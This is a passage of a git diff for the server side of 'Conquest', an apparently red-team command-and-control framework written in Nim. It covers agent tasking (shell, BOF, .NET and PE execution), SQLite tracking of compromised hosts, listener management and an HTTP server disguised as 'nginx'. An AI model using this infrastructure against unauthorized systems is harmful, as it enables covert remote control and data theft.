if parsedArgs.len < command.arguments.filterIt(it.isRequired).len:
|
||||
cq.displayCommandHelp(command)
|
||||
raise newException(ValueError, "Missing required arguments.")
|
||||
|
||||
for i, argument in command.arguments:
|
||||
|
||||
# Argument provided - convert to the corresponding data type
|
||||
if i < parsedArgs.len:
|
||||
case argument.argumentType:
|
||||
of Int:
|
||||
result[argument.name] = %parseUInt(parsedArgs[i])
|
||||
of Binary:
|
||||
# Read file into memory and convert it into a base64 string
|
||||
result[argument.name] = %""
|
||||
else:
|
||||
# The last optional argument is joined together
|
||||
# This is required for non-quoted input with infinite length, such as `shell mv arg1 arg2`
|
||||
if i == command.arguments.len - 1 and not argument.isRequired:
|
||||
result[argument.name] = %parsedArgs[i..^1].join(" ")
|
||||
else:
|
||||
result[argument.name] = %parsedArgs[i]
|
||||
|
||||
# Argument not provided - set to empty string for optional args
|
||||
else:
|
||||
# If a required argument is not provided, display the help text
|
||||
if argument.isRequired:
|
||||
cq.displayCommandHelp(command)
|
||||
return
|
||||
else:
|
||||
result[argument.name] = %""
|
||||
|
||||
proc createTask*(cq: Conquest, command: CommandType, args: string, message: string) =
|
||||
let
|
||||
date = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
task = Task(
|
||||
id: generate(alphabet=join(toSeq('A'..'Z'), ""), size=8),
|
||||
agent: cq.interactAgent.name,
|
||||
command: command,
|
||||
args: args,
|
||||
)
|
||||
|
||||
cq.interactAgent.tasks.add(task)
|
||||
cq.writeLine(fgBlack, styleBright, fmt"[{date}] [*] ", resetStyle, message)
|
||||
|
||||
proc handleAgentCommand*(cq: Conquest, input: string) =
|
||||
# Return if no command (or just whitespace) is entered
|
||||
if input.replace(" ", "").len == 0: return
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", fgYellow, fmt"[{cq.interactAgent.name}] ", resetStyle, styleBright, input)
|
||||
|
||||
let parsedArgs = parseAgentCommand(input)
|
||||
|
||||
# Handle 'back' command
|
||||
if parsedArgs[0] == "back":
|
||||
return
|
||||
|
||||
# Handle 'help' command
|
||||
if parsedArgs[0] == "help":
|
||||
cq.handleHelp(parsedArgs, commands)
|
||||
return
|
||||
|
||||
# Handle commands with actions on the agent
|
||||
try:
|
||||
let (commandType, command) = getCommandFromTable(parsedArgs[0], commands)
|
||||
let payload = cq.packageArguments(command, parsedArgs)
|
||||
cq.createTask(commandType, $payload, fmt"Tasked agent to {command.description.toLowerAscii()}")
|
||||
except ValueError as err:
|
||||
cq.writeLine(fgRed, styleBright, fmt"[-] {err.msg}" & "\n")
|
||||
return
|
||||
46
src/server/db/database.nim
Normal file
46
src/server/db/database.nim
Normal file
@@ -0,0 +1,46 @@
|
||||
import system, terminal, tiny_sqlite
|
||||
|
||||
import ./[dbAgent, dbListener]
|
||||
import ../../types
|
||||
|
||||
# Export functions so that only ./db/database is required to be imported
|
||||
export dbAgent, dbListener
|
||||
|
||||
proc dbInit*(cq: Conquest) =
|
||||
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
# Create tables
|
||||
conquestDb.execScript("""
|
||||
CREATE TABLE listeners (
|
||||
name TEXT PRIMARY KEY,
|
||||
address TEXT NOT NULL,
|
||||
port INTEGER NOT NULL UNIQUE,
|
||||
protocol TEXT NOT NULL CHECK (protocol IN ('http'))
|
||||
);
|
||||
|
||||
CREATE TABLE agents (
|
||||
name TEXT PRIMARY KEY,
|
||||
listener TEXT NOT NULL,
|
||||
process TEXT NOT NULL,
|
||||
pid INTEGER NOT NULL,
|
||||
username TEXT NOT NULL,
|
||||
hostname TEXT NOT NULL,
|
||||
domain TEXT NOT NULL,
|
||||
ip TEXT NOT NULL,
|
||||
os TEXT NOT NULL,
|
||||
elevated BOOLEAN NOT NULL,
|
||||
sleep INTEGER DEFAULT 10,
|
||||
jitter REAL DEFAULT 0.1,
|
||||
firstCheckin DATETIME NOT NULL,
|
||||
latestCheckin DATETIME NOT NULL,
|
||||
FOREIGN KEY (listener) REFERENCES listeners(name)
|
||||
);
|
||||
|
||||
""")
|
||||
|
||||
cq.writeLine(fgGreen, "[+] ", cq.dbPath, ": Database created.")
|
||||
conquestDb.close()
|
||||
except SqliteError as err:
|
||||
cq.writeLine(fgGreen, "[+] ", cq.dbPath, ": Database file found.")
|
||||
141
src/server/db/dbAgent.nim
Normal file
141
src/server/db/dbAgent.nim
Normal file
@@ -0,0 +1,141 @@
|
||||
import system, terminal, tiny_sqlite, times
|
||||
import ../../types
|
||||
|
||||
#[
|
||||
Agent database functions
|
||||
]#
|
||||
proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
|
||||
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("""
|
||||
INSERT INTO agents (name, listener, process, pid, username, hostname, domain, ip, os, elevated, sleep, jitter, firstCheckin, latestCheckin)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||
""", agent.name, agent.listener, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ip, agent.os, agent.elevated, agent.sleep, agent.jitter, agent.firstCheckin.format("dd-MM-yyyy HH:mm:ss"), agent.latestCheckin.format("dd-MM-yyyy HH:mm:ss"))
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
return false
|
||||
|
||||
return true
|
||||
|
||||
proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
|
||||
var agents: seq[Agent] = @[]
|
||||
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents;"):
|
||||
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
|
||||
|
||||
let a = Agent(
|
||||
name: name,
|
||||
listener: listener,
|
||||
sleep: sleep,
|
||||
pid: pid,
|
||||
username: username,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ip: ip,
|
||||
os: os,
|
||||
elevated: elevated,
|
||||
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
jitter: jitter,
|
||||
process: process
|
||||
)
|
||||
|
||||
agents.add(a)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
|
||||
return agents
|
||||
|
||||
proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
||||
|
||||
var agents: seq[Agent] = @[]
|
||||
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin FROM agents WHERE listener = ?;", listenerName):
|
||||
let (name, listener, sleep, jitter, process, pid, username, hostname, domain, ip, os, elevated, firstCheckin, latestCheckin) = row.unpack((string, string, int, float, string, int, string, string, string, string, string, bool, string, string))
|
||||
|
||||
let a = Agent(
|
||||
name: name,
|
||||
listener: listener,
|
||||
sleep: sleep,
|
||||
pid: pid,
|
||||
username: username,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ip: ip,
|
||||
os: os,
|
||||
elevated: elevated,
|
||||
firstCheckin: parse(firstCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
latestCheckin: parse(latestCheckin, "dd-MM-yyyy HH:mm:ss"),
|
||||
jitter: jitter,
|
||||
process: process,
|
||||
)
|
||||
|
||||
agents.add(a)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
|
||||
return agents
|
||||
|
||||
proc dbDeleteAgentByName*(cq: Conquest, name: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("DELETE FROM agents WHERE name = ?", name)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
return false
|
||||
|
||||
return true
|
||||
|
||||
proc dbAgentExists*(cq: Conquest, agentName: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
let res = conquestDb.one("SELECT 1 FROM agents WHERE name = ? LIMIT 1", agentName)
|
||||
|
||||
conquestDb.close()
|
||||
|
||||
return res.isSome
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
return false
|
||||
|
||||
proc dbUpdateCheckin*(cq: Conquest, agentName: string, timestamp: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("UPDATE agents SET latestCheckin = ? WHERE name = ?", timestamp, agentName)
|
||||
|
||||
conquestDb.close()
|
||||
return true
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
return false
|
||||
|
||||
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("UPDATE agents SET sleep = ? WHERE name = ?", delay, agentName)
|
||||
|
||||
conquestDb.close()
|
||||
return true
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
return false
|
||||
71
src/server/db/dbListener.nim
Normal file
71
src/server/db/dbListener.nim
Normal file
@@ -0,0 +1,71 @@
|
||||
import system, terminal, tiny_sqlite
|
||||
import ../../types
|
||||
|
||||
#[
|
||||
Listener database functions
|
||||
]#
|
||||
proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
|
||||
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("""
|
||||
INSERT INTO listeners (name, address, port, protocol)
|
||||
VALUES (?, ?, ?, ?);
|
||||
""", listener.name, listener.address, listener.port, $listener.protocol)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
return false
|
||||
|
||||
return true
|
||||
|
||||
proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
|
||||
|
||||
var listeners: seq[Listener] = @[]
|
||||
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT name, address, port, protocol FROM listeners;"):
|
||||
let (name, address, port, protocol) = row.unpack((string, string, int, string))
|
||||
|
||||
let l = Listener(
|
||||
name: name,
|
||||
address: address,
|
||||
port: port,
|
||||
protocol: stringToProtocol(protocol),
|
||||
)
|
||||
listeners.add(l)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
|
||||
return listeners
|
||||
|
||||
proc dbDeleteListenerByName*(cq: Conquest, name: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("DELETE FROM listeners WHERE name = ?", name)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
return false
|
||||
|
||||
return true
|
||||
|
||||
proc dbListenerExists*(cq: Conquest, listenerName: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
let res = conquestDb.one("SELECT 1 FROM listeners WHERE name = ? LIMIT 1", listenerName)
|
||||
|
||||
conquestDb.close()
|
||||
|
||||
return res.isSome
|
||||
except:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
return false
|
||||
9
src/server/globals.nim
Normal file
9
src/server/globals.nim
Normal file
@@ -0,0 +1,9 @@
|
||||
import ../types
|
||||
|
||||
# Global variable for handling listeners, agents and console output
|
||||
var cq*: Conquest
|
||||
|
||||
# Colors
|
||||
# https://colors.sh/
|
||||
const red* = "\e[210;66;79m"
|
||||
const resetColor* = "\e[0m"
|
||||
4
src/server/nim.cfg
Normal file
4
src/server/nim.cfg
Normal file
@@ -0,0 +1,4 @@
|
||||
# Compiler flags
|
||||
--threads:on
|
||||
-d:httpxServerName="nginx"
|
||||
--outdir:"../bin"
|
||||
161
src/server/server.nim
Normal file
161
src/server/server.nim
Normal file
@@ -0,0 +1,161 @@
|
||||
import prompt, terminal, argparse
|
||||
import strutils, strformat, times, system, tables
|
||||
|
||||
import ./globals
|
||||
import core/agent, core/listener, db/database
|
||||
import ../types
|
||||
|
||||
#[
|
||||
Argument parsing
|
||||
]#
|
||||
var parser = newParser:
|
||||
help("Conquest Command & Control")
|
||||
nohelpflag()
|
||||
|
||||
command("listener"):
|
||||
help("Manage, start and stop listeners.")
|
||||
|
||||
command("list"):
|
||||
help("List all active listeners.")
|
||||
command("start"):
|
||||
help("Starts a new HTTP listener.")
|
||||
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
|
||||
option("-p", "--port", help="Port to listen on.", required=true)
|
||||
|
||||
# TODO: Future features:
|
||||
# flag("--dns", help="Use the DNS protocol for C2 communication.")
|
||||
# flag("--doh", help="Use DNS over HTTPS for C2 communication.)
|
||||
command("stop"):
|
||||
help("Stop an active listener.")
|
||||
option("-n", "--name", help="Name of the listener.", required=true)
|
||||
|
||||
command("agent"):
|
||||
help("Manage, build and interact with agents.")
|
||||
|
||||
command("list"):
|
||||
help("List all agents.")
|
||||
option("-l", "--listener", help="Name of the listener.")
|
||||
|
||||
command("info"):
|
||||
help("Display details for a specific agent.")
|
||||
option("-n", "--name", help="Name of the agent.", required=true)
|
||||
|
||||
command("kill"):
|
||||
help("Terminate the connection of an active listener and remove it from the interface.")
|
||||
option("-n", "--name", help="Name of the agent.", required=true)
|
||||
# flag("--self-delete", help="Remove agent executable from target system.")
|
||||
|
||||
command("interact"):
|
||||
help("Interact with an active agent.")
|
||||
option("-n", "--name", help="Name of the agent.", required=true)
|
||||
|
||||
command("build"):
|
||||
help("Generate a new agent to connect to an active listener.")
|
||||
option("-l", "--listener", help="Name of the listener.", required=true)
|
||||
option("-s", "--sleep", help="Sleep delay in seconds.", default=some("10") )
|
||||
option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
|
||||
|
||||
command("help"):
|
||||
nohelpflag()
|
||||
|
||||
command("exit"):
|
||||
nohelpflag()
|
||||
|
||||
proc handleConsoleCommand*(cq: Conquest, args: string) =
|
||||
|
||||
# Return if no command (or just whitespace) is entered
|
||||
if args.replace(" ", "").len == 0: return
|
||||
|
||||
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
|
||||
cq.writeLine(fgBlue, styleBright, fmt"[{date}] ", resetStyle, styleBright, args)
|
||||
|
||||
try:
|
||||
let opts = parser.parse(args.split(" ").filterIt(it.len > 0))
|
||||
|
||||
case opts.command
|
||||
|
||||
of "exit": # Exit program
|
||||
echo "\n"
|
||||
quit(0)
|
||||
|
||||
of "help": # Display help menu
|
||||
cq.writeLine(parser.help())
|
||||
|
||||
of "listener":
|
||||
case opts.listener.get.command
|
||||
of "list":
|
||||
cq.listenerList()
|
||||
of "start":
|
||||
cq.listenerStart(opts.listener.get.start.get.ip, opts.listener.get.start.get.port)
|
||||
of "stop":
|
||||
cq.listenerStop(opts.listener.get.stop.get.name)
|
||||
else:
|
||||
cq.listenerUsage()
|
||||
|
||||
of "agent":
|
||||
case opts.agent.get.command
|
||||
of "list":
|
||||
cq.agentList(opts.agent.get.list.get.listener)
|
||||
of "info":
|
||||
cq.agentInfo(opts.agent.get.info.get.name)
|
||||
of "kill":
|
||||
cq.agentKill(opts.agent.get.kill.get.name)
|
||||
of "interact":
|
||||
cq.agentInteract(opts.agent.get.interact.get.name)
|
||||
of "build":
|
||||
cq.agentBuild(opts.agent.get.build.get.listener, opts.agent.get.build.get.sleep, opts.agent.get.build.get.payload)
|
||||
else:
|
||||
cq.agentUsage()
|
||||
|
||||
# Handle help flag
|
||||
except ShortCircuit as err:
|
||||
if err.flag == "argparse_help":
|
||||
cq.writeLine(err.help)
|
||||
|
||||
# Handle invalid arguments
|
||||
except CatchableError:
|
||||
cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
|
||||
|
||||
cq.writeLine("")
|
||||
|
||||
proc header(cq: Conquest) =
|
||||
cq.writeLine("")
|
||||
cq.writeLine("┏┏┓┏┓┏┓┓┏┏┓┏╋")
|
||||
cq.writeLine("┗┗┛┛┗┗┫┗┻┗ ┛┗ V0.1")
|
||||
cq.writeLine(" ┗ @jakobfriedl")
|
||||
cq.writeLine("─".repeat(21))
|
||||
cq.writeLine("")
|
||||
|
||||
#[
|
||||
Conquest framework entry point
|
||||
]#
|
||||
proc main() =
|
||||
# Handle CTRL+C,
|
||||
proc exit() {.noconv.} =
|
||||
echo "Received CTRL+C. Type \"exit\" to close the application.\n"
|
||||
|
||||
setControlCHook(exit)
|
||||
|
||||
# Initialize framework
|
||||
let dbPath: string = "../src/server/db/conquest.db"
|
||||
cq = initConquest(dbPath)
|
||||
|
||||
# Print header
|
||||
cq.header()
|
||||
|
||||
# Initialize database
|
||||
cq.dbInit()
|
||||
cq.restartListeners()
|
||||
cq.addMultiple(cq.dbGetAllAgents())
|
||||
|
||||
# Main loop
|
||||
while true:
|
||||
cq.setIndicator("[conquest]> ")
|
||||
cq.setStatusBar(@[("[mode]", "manage"), ("[listeners]", $len(cq.listeners)), ("[agents]", $len(cq.agents))])
|
||||
cq.showPrompt()
|
||||
|
||||
var command: string = cq.readLine()
|
||||
cq.withOutput(handleConsoleCommand, command)
|
||||
|
||||
when isMainModule:
|
||||
main()
|
||||
171
src/server/utils.nim
Normal file
171
src/server/utils.nim
Normal file
@@ -0,0 +1,171 @@
|
||||
import strutils, terminal, tables, sequtils, times, strformat
|
||||
import std/wordwrap
|
||||
|
||||
import ../types
|
||||
|
||||
proc parseOctets*(ip: string): tuple[first, second, third, fourth: int] =
|
||||
# TODO: Verify that address is in correct, expected format
|
||||
let octets = ip.split('.')
|
||||
return (parseInt(octets[0]), parseInt(octets[1]), parseInt(octets[2]), parseInt(octets[3]))
|
||||
|
||||
proc validatePort*(portStr: string): bool =
|
||||
try:
|
||||
let port: int = portStr.parseInt
|
||||
return port >= 1 and port <= 65535
|
||||
except ValueError:
|
||||
return false
|
||||
|
||||
# Table border characters
|
||||
|
||||
type
|
||||
Cell = object
|
||||
text: string
|
||||
fg: ForegroundColor = fgWhite
|
||||
bg: BackgroundColor = bgDefault
|
||||
style: Style
|
||||
|
||||
const topLeft = "╭"
|
||||
const topMid = "┬"
|
||||
const topRight= "╮"
|
||||
const midLeft = "├"
|
||||
const midMid = "┼"
|
||||
const midRight= "┤"
|
||||
const botLeft = "╰"
|
||||
const botMid = "┴"
|
||||
const botRight= "╯"
|
||||
const hor = "─"
|
||||
const vert = "│"
|
||||
|
||||
# Wrap cell content
|
||||
proc wrapCell(text: string, width: int): seq[string] =
|
||||
result = text.wrapWords(width).splitLines()
|
||||
|
||||
# Format border
|
||||
proc border(left, mid, right: string, widths: seq[int]): string =
|
||||
var line = left
|
||||
for i, w in widths:
|
||||
line.add(hor.repeat(w + 2))
|
||||
line.add(if i < widths.len - 1: mid else: right)
|
||||
return line
|
||||
|
||||
# Format a row of data
|
||||
proc formatRow(cells: seq[Cell], widths: seq[int]): seq[seq[Cell]] =
|
||||
var wrappedCols: seq[seq[Cell]]
|
||||
var maxLines = 1
|
||||
|
||||
for i, cell in cells:
|
||||
let wrappedLines = wrapCell(cell.text, widths[i])
|
||||
wrappedCols.add(wrappedLines.mapIt(Cell(text: it, fg: cell.fg, bg: cell.bg, style: cell.style)))
|
||||
maxLines = max(maxLines, wrappedLines.len)
|
||||
|
||||
for line in 0 ..< maxLines:
|
||||
var lineRow: seq[Cell] = @[]
|
||||
for i, col in wrappedCols:
|
||||
let lineText = if line < col.len: col[line].text else: ""
|
||||
let base = cells[i]
|
||||
lineRow.add(Cell(text: " " & lineText.alignLeft(widths[i]) & " ", fg: base.fg, bg: base.bg, style: base.style))
|
||||
result.add(lineRow)
|
||||
|
||||
proc writeRow(cq: Conquest, row: seq[Cell]) =
|
||||
stdout.write(vert)
|
||||
for cell in row:
|
||||
stdout.styledWrite(cell.fg, cell.bg, cell.style, cell.text, resetStyle, vert)
|
||||
stdout.write("\n")
|
||||
|
||||
proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
|
||||
|
||||
# Column headers and widths
|
||||
let headers = @["Name", "Address", "Port", "Protocol", "Agents"]
|
||||
let widths = @[8, 15, 5, 8, 6]
|
||||
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
||||
|
||||
cq.writeLine(border(topLeft, topMid, topRight, widths))
|
||||
for line in formatRow(headerCells, widths):
|
||||
cq.hidePrompt()
|
||||
cq.writeRow(line)
|
||||
cq.showPrompt()
|
||||
cq.writeLine(border(midLeft, midMid, midRight, widths))
|
||||
|
||||
for l in listeners:
|
||||
# Get number of agents connected to the listener
|
||||
let connectedAgents = cq.agents.values.countIt(it.listener == l.name)
|
||||
|
||||
let rowCells = @[
|
||||
Cell(text: l.name, fg: fgGreen),
|
||||
Cell(text: l.address),
|
||||
Cell(text: $l.port),
|
||||
Cell(text: $l.protocol),
|
||||
Cell(text: $connectedAgents)
|
||||
]
|
||||
|
||||
for line in formatRow(rowCells, widths):
|
||||
cq.hidePrompt()
|
||||
cq.writeRow(line)
|
||||
cq.showPrompt()
|
||||
|
||||
cq.writeLine(border(botLeft, botMid, botRight, widths))
|
||||
|
||||
# Calculate time since latest checking in format: Xd Xh Xm Xs
|
||||
proc timeSince*(agent: Agent, timestamp: DateTime): Cell =
|
||||
|
||||
let
|
||||
now = now()
|
||||
duration = now - timestamp
|
||||
totalSeconds = int(duration.inSeconds)
|
||||
|
||||
let
|
||||
days = totalSeconds div 86400
|
||||
hours = (totalSeconds mod 86400) div 3600
|
||||
minutes = (totalSeconds mod 3600) div 60
|
||||
seconds = totalSeconds mod 60
|
||||
|
||||
var text = ""
|
||||
|
||||
if days > 0:
|
||||
text &= fmt"{days}d "
|
||||
if hours > 0 or days > 0:
|
||||
text &= fmt"{hours}h "
|
||||
if minutes > 0 or hours > 0 or days > 0:
|
||||
text &= fmt"{minutes}m "
|
||||
text &= fmt"{seconds}s"
|
||||
|
||||
return Cell(
|
||||
text: text.strip(),
|
||||
# When the agent is 'dead', meaning that the latest checkin occured
|
||||
# more than the agents sleep configuration, dim the text style
|
||||
style: if totalSeconds > agent.sleep: styleDim else: styleBright
|
||||
)
|
||||
|
||||
proc drawTable*(cq: Conquest, agents: seq[Agent]) =
|
||||
|
||||
let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
|
||||
let widths = @[8, 15, 15, 15, 16, 13, 5, 8]
|
||||
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
|
||||
|
||||
cq.writeLine(border(topLeft, topMid, topRight, widths))
|
||||
for line in formatRow(headerCells, widths):
|
||||
cq.hidePrompt()
|
||||
cq.writeRow(line)
|
||||
cq.showPrompt()
|
||||
cq.writeLine(border(midLeft, midMid, midRight, widths))
|
||||
|
||||
for a in agents:
|
||||
|
||||
var cells = @[
|
||||
Cell(text: a.name, fg: fgYellow, style: styleBright),
|
||||
Cell(text: a.ip),
|
||||
Cell(text: a.username),
|
||||
Cell(text: a.hostname),
|
||||
Cell(text: a.os),
|
||||
Cell(text: a.process, fg: if a.elevated: fgRed else: fgWhite),
|
||||
Cell(text: $a.pid, fg: if a.elevated: fgRed else: fgWhite),
|
||||
a.timeSince(cq.agents[a.name].latestCheckin)
|
||||
]
|
||||
|
||||
# Highlight agents running within elevated processes
|
||||
for line in formatRow(cells, widths):
|
||||
cq.hidePrompt()
|
||||
cq.writeRow(line)
|
||||
cq.showPrompt()
|
||||
|
||||
cq.writeLine(border(botLeft, botMid, botRight, widths))
|
||||
205
src/types.nim
Normal file
205
src/types.nim
Normal file
@@ -0,0 +1,205 @@
|
||||
import prompt
|
||||
import prologue
|
||||
import tables
|
||||
import times
|
||||
|
||||
#[
|
||||
Agent types & procs
|
||||
]#
|
||||
type
|
||||
CommandType* = enum
|
||||
ExecuteShell = "shell"
|
||||
ExecuteBof = "bof"
|
||||
ExecuteAssembly = "dotnet"
|
||||
ExecutePe = "pe"
|
||||
Sleep = "sleep"
|
||||
GetWorkingDirectory = "pwd"
|
||||
SetWorkingDirectory = "cd"
|
||||
ListDirectory = "ls"
|
||||
RemoveFile = "rm"
|
||||
RemoveDirectory = "rmdir"
|
||||
Move = "move"
|
||||
Copy = "copy"
|
||||
|
||||
ArgumentType* = enum
|
||||
String = "string"
|
||||
Int = "int"
|
||||
Long = "long"
|
||||
Bool = "bool"
|
||||
Binary = "binary"
|
||||
|
||||
Argument* = object
|
||||
name*: string
|
||||
description*: string
|
||||
argumentType*: ArgumentType
|
||||
isRequired*: bool
|
||||
|
||||
Command* = object
|
||||
name*: string
|
||||
commandType*: CommandType
|
||||
description*: string
|
||||
example*: string
|
||||
arguments*: seq[Argument]
|
||||
dispatchMessage*: string
|
||||
|
||||
TaskStatus* = enum
|
||||
Completed = "completed"
|
||||
Created = "created"
|
||||
Pending = "pending"
|
||||
Failed = "failed"
|
||||
Cancelled = "cancelled"
|
||||
|
||||
TaskResult* = ref object
|
||||
task*: string
|
||||
agent*: string
|
||||
data*: string
|
||||
status*: TaskStatus
|
||||
|
||||
Task* = ref object
|
||||
id*: string
|
||||
agent*: string
|
||||
command*: CommandType
|
||||
args*: string # Json string containing all the positional arguments
|
||||
# Example: """{"command": "whoami", "arguments": "/all"}"""
|
||||
|
||||
AgentRegistrationData* = object
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
ip*: string
|
||||
os*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
|
||||
Agent* = ref object
|
||||
name*: string
|
||||
listener*: string
|
||||
username*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
process*: string
|
||||
pid*: int
|
||||
ip*: string
|
||||
os*: string
|
||||
elevated*: bool
|
||||
sleep*: int
|
||||
jitter*: float
|
||||
tasks*: seq[Task]
|
||||
firstCheckin*: DateTime
|
||||
latestCheckin*: DateTime
|
||||
|
||||
# TODO: Take sleep value from agent registration data (set via nim.cfg file)
|
||||
proc newAgent*(name, listener: string, firstCheckin: DateTime, postData: AgentRegistrationData): Agent =
|
||||
var agent = new Agent
|
||||
agent.name = name
|
||||
agent.listener = listener
|
||||
agent.username = postData.username
|
||||
agent.hostname = postData.hostname
|
||||
agent.domain = postData.domain
|
||||
agent.process = postData.process
|
||||
agent.pid = postData.pid
|
||||
agent.ip = postData.ip
|
||||
agent.os = postData.os
|
||||
agent.elevated = postData.elevated
|
||||
agent.sleep = postData.sleep
|
||||
agent.jitter = 0.2
|
||||
agent.tasks = @[]
|
||||
agent.firstCheckin = firstCheckin
|
||||
agent.latestCheckin = firstCheckin
|
||||
|
||||
return agent
|
||||
|
||||
#[
|
||||
Listener types and procs
|
||||
]#
|
||||
type
|
||||
Protocol* = enum
|
||||
HTTP = "http"
|
||||
|
||||
Listener* = ref object
|
||||
name*: string
|
||||
address*: string
|
||||
port*: int
|
||||
protocol*: Protocol
|
||||
|
||||
proc newListener*(name: string, address: string, port: int): Listener =
|
||||
var listener = new Listener
|
||||
listener.name = name
|
||||
listener.address = address
|
||||
listener.port = port
|
||||
listener.protocol = HTTP
|
||||
|
||||
return listener
|
||||
|
||||
proc stringToProtocol*(protocol: string): Protocol =
|
||||
case protocol
|
||||
of "http":
|
||||
return HTTP
|
||||
else: discard
|
||||
|
||||
#[
|
||||
Conquest framework types & procs
|
||||
]#
|
||||
type
|
||||
Conquest* = ref object
|
||||
prompt*: Prompt
|
||||
dbPath*: string
|
||||
listeners*: Table[string, Listener]
|
||||
agents*: Table[string, Agent]
|
||||
interactAgent*: Agent
|
||||
|
||||
proc add*(cq: Conquest, listener: Listener) =
|
||||
cq.listeners[listener.name] = listener
|
||||
|
||||
proc add*(cq: Conquest, agent: Agent) =
|
||||
cq.agents[agent.name] = agent
|
||||
|
||||
proc addMultiple*(cq: Conquest, agents: seq[Agent]) =
|
||||
for a in agents:
|
||||
cq.agents[a.name] = a
|
||||
|
||||
proc delListener*(cq: Conquest, listenerName: string) =
|
||||
cq.listeners.del(listenerName)
|
||||
|
||||
proc delAgent*(cq: Conquest, agentName: string) =
|
||||
cq.agents.del(agentName)
|
||||
|
||||
proc getAgentsAsSeq*(cq: Conquest): seq[Agent] =
|
||||
var agents: seq[Agent] = @[]
|
||||
for agent in cq.agents.values:
|
||||
agents.add(agent)
|
||||
return agents
|
||||
|
||||
proc initConquest*(dbPath: string): Conquest =
|
||||
var cq = new Conquest
|
||||
var prompt = Prompt.init()
|
||||
cq.prompt = prompt
|
||||
cq.dbPath = dbPath
|
||||
cq.listeners = initTable[string, Listener]()
|
||||
cq.agents = initTable[string, Agent]()
|
||||
cq.interactAgent = nil
|
